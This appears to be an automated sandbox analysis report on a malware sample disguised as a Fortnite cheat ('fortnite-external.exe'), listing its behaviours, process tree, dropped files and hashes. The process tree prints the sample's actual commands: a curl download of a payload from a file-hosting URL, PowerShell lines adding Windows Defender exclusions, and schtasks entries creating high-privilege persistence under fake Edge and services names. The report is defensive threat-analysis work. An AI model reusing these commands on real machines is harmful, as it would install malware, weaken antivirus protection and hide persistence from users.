Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/09/2024, 07:57

General

  • Target

    fortnite-external.exe

  • Size

    392KB

  • MD5

    450270d6a68cf6364e98f16b917a84e6

  • SHA1

    3e89467c9cbc12a76ab77c50913ee45420e16ccc

  • SHA256

    30a300329684903e2ca4a937aacbfb337ab30474aadd40e473ca544e8069c52d

  • SHA512

    27c7b9c03a026ba578d6c71f6805d07a702740ce21f2e738cadb7fd2d455d6b1abf620c5b147ee018494a33376ff4e907bdf8ce0fa76f7970abe6cd03da6b4b6

  • SSDEEP

    6144:whcdTWDsDiY4ElESAtEnESbkaXOahqJiSxRODbGWrZjkmn35GYrZ8RA:fdxE7xr4kmnJ

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
  • Process spawned unexpected child process 6 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 2 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\fortnite-external.exe
    "C:\Users\Admin\AppData\Local\Temp\fortnite-external.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1040
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/grb4ph.bin --output C:\Windows\Speech\physmeme.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1136
      • C:\Windows\system32\curl.exe
        curl --silent https://files.catbox.moe/grb4ph.bin --output C:\Windows\Speech\physmeme.exe
        3⤵
        • Drops file in Windows directory
        PID:4912
    • C:\Windows\Speech\physmeme.exe
      "C:\Windows\Speech\physmeme.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:3268
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Edge\JVechqugVQULxoCxdNxRwhT9H4AJgXiAXoRwxtptuwyob.vbe"
        3⤵
        • Checks computer location settings
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1968
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Edge\fu4i1MBsp.bat" "
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2008
          • C:\Edge\msedge.exe
            "C:\Edge/msedge.exe"
            5⤵
            • Modifies WinLogon for persistence
            • Checks computer location settings
            • Executes dropped EXE
            • Adds Run key to start application
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2444
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\uxfokc1u\uxfokc1u.cmdline"
              6⤵
              • Drops file in System32 directory
              • Suspicious use of WriteProcessMemory
              PID:1548
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB905.tmp" "c:\Windows\System32\CSCD08FE4A520C432FB7188C14B0342D0.TMP"
                7⤵
                  PID:896
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\services.exe'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1356
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Edge\msedge.exe'
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4628
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Pl0sKkKcIz.bat"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3096
                • C:\Windows\system32\chcp.com
                  chcp 65001
                  7⤵
                    PID:1092
                  • C:\Windows\system32\w32tm.exe
                    w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                    7⤵
                      PID:4636
                    • C:\Edge\msedge.exe
                      "C:\Edge\msedge.exe"
                      7⤵
                      • Executes dropped EXE
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      PID:4440
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "servicess" /sc MINUTE /mo 5 /tr "'C:\Users\Admin\AppData\Local\services.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4348
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\services.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3760
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "servicess" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\AppData\Local\services.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:2032
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 5 /tr "'C:\Edge\msedge.exe'" /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:4084
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "msedge" /sc ONLOGON /tr "'C:\Edge\msedge.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3580
        • C:\Windows\system32\schtasks.exe
          schtasks.exe /create /tn "msedgem" /sc MINUTE /mo 7 /tr "'C:\Edge\msedge.exe'" /rl HIGHEST /f
          1⤵
          • Process spawned unexpected child process
          • Scheduled Task/Job: Scheduled Task
          PID:3192

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Edge\JVechqugVQULxoCxdNxRwhT9H4AJgXiAXoRwxtptuwyob.vbe

          Filesize

          192B

          MD5

          e5437373d0605c93bc97b65a4a12d739

          SHA1

          671858874a65fd9c7d3de894ba4c590b537f0bde

          SHA256

          9440e1281d71c9d954fb0510d3eb29a1270d10eca8394744c5bd91e2e6f83307

          SHA512

          5345d25ba8cbd179fddbc1255e26e5d3f5e2161e99e4be3bfba1ece5ae317c22df8e115415e300ca5763bd993fb45aa0f5cfca0278c8a6eabb29d48548cf0d2f

        • C:\Edge\fu4i1MBsp.bat

          Filesize

          63B

          MD5

          f797a77c821b724238a50a77f0fe1aae

          SHA1

          ee9ff366bdfcba73d9ca0753670f2660baaec9f2

          SHA256

          00c0f57e5f833e74c22e63732816c59eb1f9b8cff197eea7373c32aac58d08d7

          SHA512

          04459b565bd18d707af3740f3f76050dc8d1f5cb4d335460fcc9c3658695558b9bf67e82beb25996c86ee7ba4a2705eaa4da55facc44fa1e854552cd49d8aa23

        • C:\Edge\msedge.exe

          Filesize

          1.8MB

          MD5

          9257cb2730e4744e1fd4565dec8eb3c8

          SHA1

          a9147f6de05447b78bd78b71517a650028498836

          SHA256

          2964966063f51dd2c3d381468a9d9091d8581442b9d63564af056274cb797061

          SHA512

          0b2228b607a3aa0302515312ab5f9cf86b78c44b94bba7a53507afba00d55208d1387585cd8c0714a9c66831bf99036d91fb81398d6806fd2e086d6019e67e6c

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\msedge.exe.log

          Filesize

          1KB

          MD5

          af6acd95d59de87c04642509c30e81c1

          SHA1

          f9549ae93fdb0a5861a79a08f60aa81c4b32377b

          SHA256

          7521ee2d065a78efcab55a194fbd78492f84b70595f139263875f4ea92b194d6

          SHA512

          93ab99bcf588fde553de3240e0d2b0cbd4e4bc5ef5e99d53f45a267d7ff30103a80b5a7aa1c52d6eff1e070af0ec82d2c0b8aafb7099742aa16810edc1815c3a

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          d85ba6ff808d9e5444a4b369f5bc2730

          SHA1

          31aa9d96590fff6981b315e0b391b575e4c0804a

          SHA256

          84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

          SHA512

          8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          944B

          MD5

          6d3e9c29fe44e90aae6ed30ccf799ca8

          SHA1

          c7974ef72264bbdf13a2793ccf1aed11bc565dce

          SHA256

          2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

          SHA512

          60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

        • C:\Users\Admin\AppData\Local\Temp\Pl0sKkKcIz.bat

          Filesize

          194B

          MD5

          60f67d6d4b5567d7ab3ffd921e1a525d

          SHA1

          16cadcf225f00e8d3f55ccf30cba4a727510fd9a

          SHA256

          6f03de6b37bf5874394deb67270a1299cbac6710226e9922e2e7d2e5e6210883

          SHA512

          c1a6affd3eac0c6181acc9800dafadd7e0b5e832d11a8ddf9c54ef23f9bedf4ae96ce8aeba9ee66924bfc2bf1b1cbf4c5dec8bfb387a28e13d4907cf401c90c7

        • C:\Users\Admin\AppData\Local\Temp\RESB905.tmp

          Filesize

          1KB

          MD5

          94dd040dfb36f9dc5da25ecbd476e93e

          SHA1

          00f247d86999ed626d8b4250a95e9ab1f5febc78

          SHA256

          4be3a9482ee2c7274cbe4df62069d0d1e82a6f701bdfd18e943df2f4e9585354

          SHA512

          9ee126ebcf94daf75f8ed870c4f1bb0593ad2b3401cd9fd0e1900f8a9fedfe001f116a8060876494a75f97bff9f568700f43a62c8182a839e1ff7005c8607123

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qc1evtev.5t0.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Windows\Speech\physmeme.exe

          Filesize

          2.1MB

          MD5

          e5f3f9c01d860a57b5dbc30b44ab4ba0

          SHA1

          4a7a9c4aba1968491fcabea3abeaa5ecf3fcb71d

          SHA256

          bd86ed3a268c8e85089ad0602b8894a6463b61569d64b92b63a4c5ab5fed5c0b

          SHA512

          e771a3370cc9706be105ccf8e732e4502845bdbd2b26d9b47ec5766497f419157e01baccd36c8e418fb25de284effcef2da6683f62ca561786c7353140e0a55f

        • \??\c:\Users\Admin\AppData\Local\Temp\uxfokc1u\uxfokc1u.0.cs

          Filesize

          373B

          MD5

          af02a91b252812a79cffc7e8e5204e90

          SHA1

          46fc3d84bd194b49562de3c5982c9ac680ca5b1c

          SHA256

          22e7d047781052a3d079d49677bd9a2607eb11c07f62dbb472dc947936fde2d2

          SHA512

          d7680bd63a2d40a04cb2bcc576c924610d1bfc69d943e9bc727e621cc0f3321b2b67e3661a33eda29cfe3fbb86165c6cc668d424cef34c9e260b0c4af6976982

        • \??\c:\Users\Admin\AppData\Local\Temp\uxfokc1u\uxfokc1u.cmdline

          Filesize

          235B

          MD5

          fd6a4bde8cb6f7c0fffbd078a57eb216

          SHA1

          3861e58cfda1d6df38b39d52a63a3926dee62845

          SHA256

          3908b1e620915a3f2ff9b61baba8b52791e27c511a550448cf32709ebb5baaca

          SHA512

          0bd5b68c8ffe021489fa1846d6e514fede55acd802a9c5d81b8aa13b0a83d777b86f79211ff130f6d658c168026da4d02e84ac97c00b7119820f54bd25031699

        • \??\c:\Windows\System32\CSCD08FE4A520C432FB7188C14B0342D0.TMP

          Filesize

          1KB

          MD5

          26edbf31c0871483b6179cb006139748

          SHA1

          e869f7c876415b6de9860173e122b8fc22a0e22a

          SHA256

          2e6494765b42c52e7188af55f1eb0f23add6bf284e1d67f08b000330d4d71e1f

          SHA512

          9a22376c9c6eeacfb42a96570ed09ce8aa315112bdc6e3098956df90b2ef80ffef2a8671472d807ac17b611f71126c73eeb2bd680f9ff55be47bef3d281eac47

        • memory/1356-61-0x000001E198530000-0x000001E198552000-memory.dmp

          Filesize

          136KB

        • memory/2444-24-0x0000000002DE0000-0x0000000002DEC000-memory.dmp

          Filesize

          48KB

        • memory/2444-22-0x000000001BA60000-0x000000001BA78000-memory.dmp

          Filesize

          96KB

        • memory/2444-20-0x000000001BCE0000-0x000000001BD30000-memory.dmp

          Filesize

          320KB

        • memory/2444-19-0x000000001BA40000-0x000000001BA5C000-memory.dmp

          Filesize

          112KB

        • memory/2444-17-0x0000000002DD0000-0x0000000002DDE000-memory.dmp

          Filesize

          56KB

        • memory/2444-15-0x0000000000B20000-0x0000000000CFA000-memory.dmp

          Filesize

          1.9MB